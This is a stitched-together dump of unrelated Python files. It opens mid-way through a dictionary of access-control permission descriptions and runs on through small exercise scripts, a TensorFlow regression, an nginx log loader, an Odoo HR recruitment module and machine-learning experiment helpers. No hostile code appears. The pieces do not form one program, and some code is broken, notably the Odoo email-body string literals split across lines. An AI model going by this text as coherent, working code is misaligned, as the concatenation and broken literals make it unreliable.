    PermissionType.RUNNER_VIEW: "Ability to view a runner.",
    PermissionType.RUNNER_MODIFY: (
        "Ability to modify (update) an existing runner. Also implies "
        '"runner_type_view" permission.'
    ),
    PermissionType.RUNNER_ALL: (
        "Ability to perform all the supported operations on a particular " "runner."
    ),
    PermissionType.WEBHOOK_LIST: "Ability to list (view all) webhooks.",
    PermissionType.WEBHOOK_VIEW: ("Ability to view a webhook."),
    PermissionType.WEBHOOK_CREATE: ("Ability to create a new webhook."),
    PermissionType.WEBHOOK_SEND: (
        "Ability to send / POST data to an existing webhook."
    ),
    PermissionType.WEBHOOK_DELETE: ("Ability to delete an existing webhook."),
    PermissionType.WEBHOOK_ALL: (
        "Ability to perform all the supported operations on a particular " "webhook."
    ),
    PermissionType.TIMER_LIST: "Ability to list (view all) timers.",
    PermissionType.TIMER_VIEW: ("Ability to view a timer."),
    PermissionType.TIMER_ALL: (
        "Ability to perform all the supported operations on timers"
    ),
    PermissionType.API_KEY_LIST: "Ability to list (view all) API keys.",
    PermissionType.API_KEY_VIEW: ("Ability to view an API Key."),
    PermissionType.API_KEY_CREATE: ("Ability to create a new API Key."),
    PermissionType.API_KEY_MODIFY: (
        "Ability to modify (update) an existing API key. Also implies "
        '"api_key_view" permission.'
    ),
    PermissionType.API_KEY_DELETE: ("Ability to delete an existing API Keys."),
    PermissionType.API_KEY_ALL: (
        "Ability to perform all the supported operations on an API Key."
    ),
    PermissionType.KEY_VALUE_PAIR_LIST: ("Ability to list (view all) Key-Value Pairs."),
    PermissionType.KEY_VALUE_PAIR_VIEW: ("Ability to view Key-Value Pairs."),
    PermissionType.KEY_VALUE_PAIR_SET: ("Ability to set a Key-Value Pair."),
    PermissionType.KEY_VALUE_PAIR_DELETE: (
        "Ability to delete an existing Key-Value Pair."
    ),
    PermissionType.KEY_VALUE_PAIR_ALL: (
        "Ability to perform all the supported operations on a Key-Value Pair."
    ),
    PermissionType.TRACE_LIST: ("Ability to list (view all) traces."),
    PermissionType.TRACE_VIEW: ("Ability to view a trace."),
    PermissionType.TRACE_ALL: (
        "Ability to perform all the supported operations on traces."
    ),
    PermissionType.TRIGGER_LIST: ("Ability to list (view all) triggers."),
    PermissionType.TRIGGER_VIEW: ("Ability to view a trigger."),
    PermissionType.TRIGGER_ALL: (
        "Ability to perform all the supported operations on triggers."
    ),
    PermissionType.POLICY_TYPE_LIST: ("Ability to list (view all) policy types."),
    PermissionType.POLICY_TYPE_VIEW: ("Ability to view a policy types."),
    PermissionType.POLICY_TYPE_ALL: (
        "Ability to perform all the supported operations on policy" " types."
    ),
    PermissionType.POLICY_LIST: "Ability to list (view all) policies.",
    PermissionType.POLICY_VIEW: ("Ability to view a policy."),
    PermissionType.POLICY_CREATE: ("Ability to create a new policy."),
    PermissionType.POLICY_MODIFY: ("Ability to modify an existing policy."),
    PermissionType.POLICY_DELETE: ("Ability to delete an existing policy."),
    PermissionType.POLICY_ALL: (
        "Ability to perform all the supported operations on a particular " "policy."
    ),
    PermissionType.STREAM_VIEW: (
        "Ability to view / listen to the events on the stream API " "endpoint."
    ),
    PermissionType.INQUIRY_LIST: "Ability to list existing Inquiries",
    PermissionType.INQUIRY_VIEW: "Ability to view an existing Inquiry. Also implies "
    '"inquiry_respond" permission.',
    PermissionType.INQUIRY_RESPOND: "Ability to respond to an existing Inquiry (in general - user "
    "still needs access per specific inquiry parameters). Also "
    'implies "inquiry_view" permission.',
    PermissionType.INQUIRY_ALL: (
        "Ability to perform all supported operations on a particular " "Inquiry."
    ),
}

def get_resource_permission_types_with_descriptions():
    """
    Return available permission types for each resource types with corresponding descriptions.

    :rtype: ``dict`
    """
    result = {}

    for resource_type, permission_types in six.iteritems(
        RESOURCE_TYPE_TO_PERMISSION_TYPES_MAP
    ):
        result[resource_type] = {}
        for permission_type in permission_types:
            result[resource_type][permission_type] = PERMISION_TYPE_TO_DESCRIPTION_MAP[
                permission_type
            ]

    return result


nums = [4,3,2,7,8,2,3,1]

result = []

len1 = len(nums)

nums.sort()

for x in range(0,len1-1):
    if nums[x]==nums[x+1]:
        result.append(nums[x])
        x+=1

print(result)

python/442. Find All Duplicates in an Array.py


#Python3 code for retrieving the positions of numbers which are divisible by 2.
a=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]

positionOfNumbers=[]
for i in range(0,len(a)):
    if a[i]%2==0:
        positionOfNumbers.append(i)

# Note: prinitng actual positions of numbers not positions according to array index.
print("The positions of Numbers divisible by 2 are \n")
for i in  positionOfNumbers:
    print(i+1,end=" ")
print("\n")


import tensorflow as tf
import numpy as np

tf.set_random_seed(777)

xy = np.loadtxt('train_data.csv', delimiter=',', dtype=np.float32)
x_data = xy[:, 0:-1]
y_data = xy[:, [-1]]

## For Test
# print(x_data.shape, x_data, len(x_data))
# print(y_data.shape, y_data)

X = tf.placeholder(shape=[None, 3], dtype=tf.float32)
Y = tf.placeholder(shape=[None, 1], dtype=tf.float32)

W = tf.Variable(tf.random_normal([3, 1]), name='weight')
b = tf.Variable(tf.random_normal([1]), name='bias')
hypothesis = tf.matmul(X, W) + b

cost = tf.reduce_mean(tf.square(hypothesis - Y))
optimizer = tf.train.GradientDescentOptimizer(learning_rate=1e-5)
train = optimizer.minimize(cost)

sess = tf.Session()
sess.run(tf.global_variables_initializer())

for step in range(2001):
    cost_, hy_, _ = sess.run([cost, hypothesis, train], feed_dict={X: x_data, Y: y_data})
    if step % 100 == 0:
        print(step, "Cost: ", cost_, " Predict: ", hy_)

print("Your score will be ", sess.run(hypothesis, feed_dict={X: [[100, 70, 101]]}))
print("Other scores will be ", sess.run(hypothesis, feed_dict={X: [[60, 70, 110], [90, 100, 80]]}))


#encoding:utf-8
import dbutils

'''
CREATE TABLE `accesslog` (
  `id` int NOT NULL AUTO_INCREMENT,
  `url` varchar(20) NOT NULL,
  `ip` varchar(128) NOT NULL,
  `code` int NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
'''
def log2db(logfile):
  fhandler = open(logfile,'r')
  rt_list = []
  _sql = 'insert into accesslog(url,ip,code) values (%s,%s,%s)'
  #统计
  while True:
    line = fhandler.readline()
    if line=='':
      break
    nodes = line.split()
    rt_list.append((nodes[0], nodes[6] , nodes[8]))
  fhandler.close()
  dbutils.bulker_commit_sql(_sql,rt_list)

if __name__ == '__main__':
  log2db('/tmp/nginx-log/example.log')


# -*- encoding: utf-8 -*-
#
#Created on May 27, 2019
#
#@author: dogan
#

from odoo import models, fields, api, SUPERUSER_ID
from odoo.exceptions import Warning
from odoo.tools.translate import _
from odoo.exceptions import UserError

import math
from datetime import datetime, timedelta

class HrApplicant(models.Model):
    _inherit = 'hr.applicant'

    interview_ids = fields.One2many('hr.interview', 'applicant_id', string='Applicant')

    candidate_id = fields.Many2one('hr.recruitment.candidate',string='Candidate')
    candidate_image = fields.Binary('Image', related='candidate_id.candidate_image', readonly=True)

    work_type = fields.Selection(related='candidate_id.work_type', store=False)

    state = fields.Selection([('new','New'),
                              ('accepted','Accepted'),
                              ('rejected','Rejected'),
                              ('withdrawn','Withdrawn'),
                              ('waiting','Waiting')], string='State', default='new')

    next_action_enabled = fields.Boolean('Next Enabled', compute='_compute_next_action_enabled')
    next_stage = fields.Many2one('hr.recruitment.stage',compute='_compute_next_stage')

    work_type = fields.Selection([('bluecollar', 'Blue Collar'),
                                  ('whitecollar', 'White Collar')],
                                 string='Type', default='bluecollar')

    # -----------------------------

    joining_type = fields.Selection([('first_join_to_company', 'First Join'),
                                       ('not_first_join_to_company', 'Not First Join')],
                                      string='İşe Gİriş Tipi')

    job_title_advised_by_department = fields.Selection([('engineer', 'Engineer'),
                                     ('other', 'Others')],
                                    string='Job Title')

    job_title_level_advised_by_department = fields.Selection([('1', '1'),
                                       ('2', '2')],
                                      string='Job Title Level')

    guide_person = fields.Many2many('hr.employee', string='Guide Person', required=True)

    job_definition = fields.Text('Job Definition')
    employee_needed_date =fields.Date('Need Date', required=False)

    project = fields.Selection([('tfx', 'TFX'),
                                ('others', 'others')],
                               string='Project')

    working_place = fields.Selection([('headquarters', 'Headquarters'),
                                ('others', 'others')],
                               string='working_place')

    work_environment_is_danger = fields.Selection([('danger', 'Danger'),
                                      ('not danger', 'Not Danger')],
                                     string='Work Environment Danger')

    lunch_time = fields.Selection([('12:00 - 13:00', '12:00 - 13:00'),
                                ('13:00 - 14:00', '13:00 - 14:00')],
                                string='Lunch Time')

    # -----------------------------

    join_to_company_date =fields.Date('Join Date', required=False)

    job_title_advised_by_hr = fields.Selection([('engineer', 'Engineer'),
                                                     ('other', 'Others')],
                                                       string='Job Title')

    job_title_level_advised_by_hr = fields.Selection([('1', '1'),
                                                        ('2', '2')],
                                                        string='Job Title Level')

    job_title_level_comments = fields.Text('Comments ')

    salary_degree = fields.Char(string='Salary Degree')

    salary_level = fields.Char(string='Salary Level')

    salary = fields.Char(string='Gross Salary ')

    salary_raise = fields.Selection([('yes', 'Raise'),
                               ('no', 'No Raise')],
                               string='Salary Raise')

    salary_definition_date = fields.Date('Salary Definition Date', required=False)

    # -----------------------------

    @api.model
    def default_get(self, fields):
        res = super(HrApplicant, self).default_get(fields)

        if 'stage_id' in fields:
            ise_alim = self.env['ir.model.data'].xmlid_to_object('hr_recruitment_tai.ise_alim_grubu')
            res['stage_id'] = ise_alim.id

        if 'name' in fields:
            res['name'] = '/'

        return res

    @api.one
    def _compute_next_stage(self):
        self.next_stage = self.env['hr.recruitment.stage'] \
            .search([('sequence', '>', self.stage_id.sequence)], limit=1)

    @api.multi
    def _compute_next_action_enabled(self):
        self.ensure_one()

        reject_stage_id = self.env['ir.model.data'].xmlid_to_res_id('hr_recruitment_tai.stage_rejected')
        if self.next_stage.id == reject_stage_id:
            self.next_action_enabled = False
        else:
            self.next_action_enabled = True

    @api.multi
    def write(self, vals):
        if 'stage_id' in vals:#and self.env.user.has_group():
            if self.env.user.has_group('hr_recruitment_tai.group_hr_birim_yoneticisi') and \
                not self.env.user.has_group('hr_recruitment_tai.group_hr_birim_baskani'):
                # birim yoneticisi sadece teknik degerlendirme ve form girisinde bir adim ilerletebilecek
                for applicant in self:
                    next_stage = self.env['hr.recruitment.stage'].browse([vals['stage_id']])
                    if applicant.stage_id.sequence == 7 and next_stage.sequence not in [6,7,8]:
                        raise Warning(_('%s asamasina ilerletemezsiniz' % next_stage.name))
                    elif applicant.stage_id.sequence != 7:
                        raise Warning(_('Bu asamada yetkiniz yok'))

        return super(HrApplicant, self).write(vals)

    @api.model
    def create(self, vals):
        if 'name' not in vals or vals['name'] == '/':
            vals['name'] = self.env['ir.sequence'].next_by_code('hr.applicant') or '/'
        scrap = super(HrApplicant, self).create(vals)

        return scrap

    @api.model
    def _read_group_stage_ids(self, stages, domain, order):
        # retrieve job_id from the context and write the domain: ids + contextual columns (job or default)
        stages = super(HrApplicant, self)._read_group_stage_ids(stages, domain, order)

        if self.env.user.has_group('hr_recruitment_tai.group_hr_birim_yoneticisi') and \
            not self.env.user.has_group('hr_recruitment.group_hr_recruitment_user'):
            stages = stages.filtered(lambda s: s.sequence > 4)

        return stages

    @api.model
    def check_need_action(self):

        date_before = datetime.utcnow() #+ timedelta(days=-10)

        applicants_to_notify = self.search([('date_last_stage_update','<', date_before)])

        apps = {}

        for app in applicants_to_notify:
            if app.user_id not in apps.keys():
                apps[app.user_id] = self.env['hr.applicant']

            apps[app.user_id] |= app

        notification_template = self.env.ref('hr_recruitment_tai.email_template_notify_applicant')
        if notification_template:
            for user, applications in apps.items():
                body_html = '

'
                for app in applications:
                    notification_template.sudo().send_mail(app.id, force_send=False,
                                                       email_values={'email_to':user.email} )

                    body_html = '%a
%s
' % (body_html, app.name)

                body_html = '%a

' % (body_html)

                notification_template.sudo().send_mail(applications[0].id, force_send=False,
                                                       email_values={'email_to':user.email, 'body_html':body_html} )

        return

    @api.multi
    def archive_applicant(self):

        reject_stage_id = self.env['ir.model.data'].xmlid_to_res_id('hr_recruitment_tai.stage_rejected')
        self.write({'stage_id':reject_stage_id,
                    'state':'rejected'})

    @api.multi
    def terminate_applicant(self):
        self.write({'active': False})

    @api.multi
    def reset_applicant(self):
        """ Reinsert the applicant into the recruitment pipe in the first stage"""
        default_stage_id = self._initial_stage_id()
        self.write({'active': True,
                    'stage_id': default_stage_id,
                    'state':'new'})

    @api.multi
    def _initial_stage_id(self):
        return (self.env['ir.model.data'].xmlid_to_res_id('hr_recruitment_tai.ise_alim_grubu'))

    @api.multi
    def action_next_stage(self):
        self.ensure_one()
        if self.next_action_enabled:
            self.stage_id = self.next_stage

    @api.multi
    def create_employee_from_applicant(self):
        """ Create an hr.employee from the hr.applicants """
        employee = False
        for applicant in self:
            contact_name = False
            if applicant.candidate_id.partner_id:
                address_id = applicant.partner_id.address_get(['contact'])['contact']
                # contact_name = applicant.partner_id.name_get()[0][1]
                job_title = applicant.candidate_id.work_type

            else:
                raise UserError(_('You must define an Candidate and Partner!'))
            if applicant.job_id and (applicant.candidate_id.partner_id.name):
                applicant.job_id.write({'no_of_hired_employee': applicant.job_id.no_of_hired_employee + 1})
                employee = self.env['hr.employee'].create({
                    'name': applicant.candidate_id.partner_id.name,
                    'job_id': applicant.job_id.id,
                    'address_home_id': address_id,
                    'emergency_contact': job_title,
                    'department_id': applicant.department_id.id or False,
                    'address_id': applicant.company_id and applicant.company_id.partner_id
                                  and applicant.company_id.partner_id.id or False,
                    'work_email': applicant.department_id and applicant.department_id.company_id
                                  and applicant.department_id.company_id.email or False,
                    'work_phone': applicant.department_id and applicant.department_id.company_id
                                  and applicant.department_id.company_id.phone or False})
                applicant.write({'emp_id': employee.id})
                applicant.job_id.message_post(
                    body=_(
                        'New Employee %s Hired') % applicant.partner_name if applicant.partner_name else applicant.name,
                    subtype="hr_recruitment.mt_job_applicant_hired")
            else:
                raise UserError(_('You must define an Applied Job and a Contact Name for this applicant.'))

        employee_action = self.env.ref('hr.open_view_employee_list')
        dict_act_window = employee_action.read([])[0]
        dict_act_window['context'] = {'form_view_initial_mode': 'edit'}
        dict_act_window['res_id'] = employee.id
        return dict_act_window

class RecruitmentStage(models.Model):
    _inherit = "hr.recruitment.stage"


import json
import string

import pandas as pd
import numpy as np
import diversipy

from IPython import display
import seaborn as sns
import matplotlib.pyplot as plt
from matplotlib.colors import Colormap
from sklearn.metrics import max_error, mean_absolute_error, mean_squared_error
from sklearn.model_selection import train_test_split
from graphviz import Digraph

from ..utils.misc import train, summarize, evaluate

# ['diversity', 'random', 'kdtree', 'cover-tree', 'tree-guided', 'stratified-random']
sampling_method = 'stratified-random'

datasets = ['ccpp', 'electrical-grid-stability',
            'regression_2175_kin8nm',
            'regression_2202_elevators',
            'regression_house_16h',
            'regression_wind',
            'wine_quality_white']

for dataset_name in datasets:
    D = pd.read_csv('datasets/{}.csv'.format(dataset_name))
    D.drop_duplicates(inplace=True)

    # ## 1. From the dataset D create train dataset D1 (90%) and test dataset D0 (10%)

    D1, D0 = train_test_split(D, test_size=0.1)

    # ## 2. Train model (M1) on the dataset (D1)

    job1 = train(dataset_name, D1, verbose=False)
    job1.wait_to_complete()

    # ## 3. Generate a summarization dataset from D1 and M1 using some technique (D2i) with i: 25%, 50%, 75% of data

    D2 = {}
    for i in [0.25, 0.5, 0.75]:
        D2[i] = summarize(dataset_name=dataset_name, dataset=D1,
                          size=i, model_definition=job1.get_model_definition(),
                          method=sampling_method, verbose=False,
                          dependent_variable=job1.dependent_variable)

    # ## 4. Train a new model (M2i) on D2i

    jobs2 = {}
    for fraction, D2i in D2.items():
        job = train(dataset_name, D2i, verbose=False)
        job.wait_to_complete()
        jobs2[fraction] = job

    # ## 5. Compare M1 and M2i

    # ### A. Compare errors of M1 and M2i on the complete dataset D1.

    y_true = D1[job1.dependent_variable]

    y_M1 = job1.get_predictions()
    y_M2 = {}
    for i, job2i in jobs2.items():
        eval_job = evaluate(dataset_name=dataset_name,
                            dataset=D1, model=job2i.model, verbose=False)
        success = eval_job.wait_to_complete()
        if not success:
            print('{} failed'.format(i))
            break
        y_M2[i] = eval_job.get_predictions()
    mse1 = [mean_squared_error(y_true, y_M1)] + \
        [mean_squared_error(y_true, y) for y in y_M2.values()]

    # ### B. Compare errors M1 and M2i on D1\D2i

    ds1 = set([tuple(line) for line in D1.values])
    D1notD2 = {}
    for key, D2i in D2.items():
        ds2 = set([tuple(line) for line in D2i.values])
        D1notD2[key] = pd.DataFrame(
            list(ds1.difference(ds2)), columns=D1.columns)

    y_M1 = {}
    y_M2 = {}
    for key, job2i in jobs2.items():
        eval_job = evaluate(dataset_name=dataset_name,
                            dataset=D1notD2[key], model=job1.model, verbose=False)
        success = eval_job.wait_to_complete()
        if not success:
            print('M1 evaluation for {} failed'.format(key))
            break
        y_M1[key] = eval_job.get_predictions()

        eval_job = evaluate(dataset_name=dataset_name,
                            dataset=D1notD2[key], model=job2i.model, verbose=False)
        success = eval_job.wait_to_complete()
        if not success:
            print('M2 evaluation for {} failed'.format(key))
            break
        y_M2[key] = eval_job.get_predictions()

    mse2 = [mean_squared_error(D1notD2[k][job1.dependent_variable], y) for k, y in y_M1.items(
    )] + [mean_squared_error(D1notD2[k][job1.dependent_variable], y) for k, y in y_M2.items()]

    # ### C. Compare errors on the test dataset (D0)
    y_true = D0[job1.dependent_variable]

    eval_job = evaluate(dataset_name=dataset_name,
                        dataset=D0, model=job1.model, verbose=False)
    success = eval_job.wait_to_complete()
    y_M1 = eval_job.get_predictions()

    y_M2 = {}
    for i, job2i in jobs2.items():
        eval_job = evaluate(dataset_name=dataset_name,
                            dataset=D0, model=job2i.model, verbose=False)
        success = eval_job.wait_to_complete()
        if not success:
            print('{} failed'.format(i))
            break
        y_M2[i] = eval_job.get_predictions()

    mse3 = [mean_squared_error(y_true, y_M1)] + \
        [mean_squared_error(y_true, y) for y in y_M2.values()]

    print("Summary for {} with {}".format(dataset_name, sampling_method))
    print(mse1+mse2+mse3)


"""
  This module synthesizes some of the functions using on the major algorithms of this
  project, as a way to keep the main code as clean as possible for analysis. And here
  the APIs for each one of this functions is presented.
"""

import xgboost as xgb
import pandas as pd
import numpy as np

from sklearn.model_selection import GridSearchCV
from sklearn.svm import SVC
from datetime import datetime
from sklearn import preprocessing
from scipy.optimize import dual_annealing
from sklearn.metrics import confusion_matrix

def replaceFields(dataset=None):
  """
    This function is responsible to replace some data features
    with ones that are more suitable considering the analysis
    porpuse, such as:

    * Birth Year => Age in years (int)
    * Dt Customer => Persistance in months (int)

    :param pandas.DataFrame dataset: The dataset table as dataframe

    :return: The dataset with some fields preprocessed
    :rtype: pandas.DataFrame
  """
  features = dataset.keys()
  for feature in features:
    if feature == "Year_Birth":
      dataset[feature] = datetime.now().year - dataset[feature]
      dataset = dataset.rename(columns={feature: 'Age'})
    if feature == "Dt_Customer":
      in_dates = [datetime.fromisoformat(i) for i in dataset[feature].to_list()]
      dataset[feature] = [(datetime.now() - date).days/30 for date in in_dates]
      dataset = dataset.rename(columns={feature: 'Persistence'})
  return dataset

def encodeDataSet(dataset=None):
  """
    This function endodes the dataset into only numeric fields
    for machine learning purpose. Returning the numerical dataset,
    with the encoders responsible for the transformation.

    :param pandas.DataFrame dataset: The dataset table as dataframe

    :return: The dataset with all categorical fields numerrically encoded together with a dictionary of each field encoder
    :rtype: pandas.DataFrame, dict
  """
  encoders = dict()
  features = dataset.keys()
  for feature in features:
    sample_value = dataset[feature][0]
    if type(sample_value) == str:
      le = preprocessing.LabelEncoder()
      le.fit(dataset[feature].to_list())
      dataset[feature] = le.transform(dataset[feature])
      encoders[feature] = le
  return dataset, encoders

def dropNonInformative(dataset=None):
  """
    This function search for inconsistency and stationarity inside
    the dataset, and then remove those informations from the dataset.
    It returns a dataset without features that does not provide any
    interesting information... It also removes some

    .. note::

      Notice that the dataset description has only 25 fields, but
      the table has 29 features... Probably some of those does not
      have any information at all.

    :param pandas.DataFrame dataset: The dataset table as dataframe

    :return: The dataset with all non informative data dropped
    :rtype: pandas.DataFrame
  """
  del_features = list()
  features = dataset.keys()
  for feature in features:
      max_val = dataset[feature].max()
      min_val = dataset[feature].min()
      if max_val == min_val:
          del_features.append(feature)
  dataset = dataset.loc[:, ~dataset.columns.isin(del_features)]
  print("Features dropped:", del_features)
  return dataset

def balanceDataSet(phi, y):
  """
    This function will receive an output wise unbalaced regression
    model in the format

    .. math::

      y(k) = f(\phi(k), \Theta )

    and will return a balanced dataset with randomized samples by
    considering the True label of the output as a reference. If
    one wants to use the False label as reference, it is just
    necessary to pass the version of the output.

    The balanced database means a database with 50% of true targets,
    and 50% of false targets. This is interesting to remove bias of
    upper/lower cut learning of the models.

    :param numpy.ndarray phi: The regressor matrix.
    :param numpy.ndarray y: The targets vector.

    :return: The new regression model => (phi, target)
    :rtype: tuple
  """
  t_indexes = np.where(y == 1)[0]
  f_indexes = np.where(y == 0)[0]
  t_target, f_target = y[t_indexes], y[f_indexes]
  t_phi, f_phi = phi[t_indexes,:], phi[f_indexes,:]
  # Determine the model indexes
  n_samples, size = len(t_indexes), len(f_indexes)
  new_ind = np.random.randint(0, size, size=n_samples)
  f_target, f_phi = f_target[new_ind], f_phi[new_ind, :]
  new_phi = np.concatenate((t_phi, f_phi), axis=0)
  new_target = np.concatenate((t_target, f_target), axis=0)
  return new_phi, new_target

def xgbHyperGridSearch(bounds, data, iters=1000):
  """
    This function will run the annealing stochastic optimization algorithm
    based on the xgbCostFunction, to find the best set of hyper parameters
    for the XGBoost classifier, by minimizing the xgbCostFunction.

    :param list bounds: The upper and lower bounds of each parameter.
    :param list data: The list of datasets that will be used in the xgbCostFunction.
    :param int iters: The number of maximun iterations on the annealing search.

    :return: The resulted parameters and the optimization summary, respectivelly.
    :rtype: tuple
  """
  res = dual_annealing(xgbCostFunction, maxiter=2000, bounds=list(bounds), args=data)
  pars = (int(res.x[0]), int(res.x[1]), res.x[2])
  return pars, res

def xgbCostFunction(p, yt, xt, yv, xv):
  """
    The cost function responsible to build a model with the provided set of
    parameters, then estimate the model, and test its result in the testing
    dataset. To then retrieve a performance indicator that will be the
    reference for the optimization algorithm to minimize.

    :param list p: The set of hyper parameters candidates.
    :param numpy.ndarray yt: The train targets.
    :param numpy.ndarray xt: The train features.
    :param numpy.ndarray yv: The test targets.
    :param numpy.ndarray xv: The test features.

    :return: The sum of the false positive indicators from the confusion matrix.
    :rtype: float
  """
  # Define the parameters
  depth, weight = int(p[0]), int(p[1])
  gamma = p[2]
  # Build the model and estimate
  model = xgb.XGBClassifier(max_depth=depth, min_child_weight=weight, gamma=gamma)
  model.fit(xt, yt,
            eval_set=[(xt, yt), (xv, yv)],
            eval_metric='logloss', verbose=False)
  # Estimate the test output
  y_pred = model.predict(xv)
  # Compute the confusion matrix
  conf_mat = confusion_matrix(yv, y_pred, normalize='true')
  # Return the cost value to be minimized
  return conf_mat[0,1] + conf_mat[1,0]

def svmHyperGridSearch(bounds, data, iters=1000):
  """
    This function will run the annealing stochastic optimization algorithm
    based on the svmCostFunction, to find the best set of hyper parameters
    for the SVC classifier from sklearn, by minimizing the svmCostFunction.

    :param list bounds: The upper and lower bounds of each parameter.
    :param list data: The list of datasets that will be used in the svmCostFunction.
    :param int iters: The number of maximun iterations on the annealing search.

    :return: The resulted parameters and the optimization summary, respectivelly.
    :rtype: tuple
  """
  res = dual_annealing(svmCostFunction, maxiter=2000, bounds=list(bounds), args=data)
  return res.x, res

def svmCostFunction(p, yt, xt, yv, xv):
  """
    The cost function responsible to build a model with the provided set of
    parameters, then estimate the model, and test its result in the testing
    dataset. To then retrieve a performance indicator that will be the
    reference for the optimization algorithm to minimize.

    :param list p: The set of hyper parameters candidates.
    :param numpy.ndarray yt: The train targets.
    :param numpy.ndarray xt: The train features.
    :param numpy.ndarray yv: The test targets.
    :param numpy.ndarray xv: The test features.

    :return: The sum of the false positive indicators from the confusion matrix.
    :rtype: float
  """
  # Define the parameters
  C, gamma = p[0], p[1]
  # Build the model and estimate
  model = SVC(C=C, gamma=gamma, max_iter=200)
  model.fit(xt, yt)
  # Estimate the test output
  y_pred = model.predict(xv)
  # Compute the confusion matrix
  conf_mat = confusion_matrix(yv, y_pred, normalize='true')
  # Return the cost value to be minimized
  return conf_mat[0,1] + conf_mat[1,0]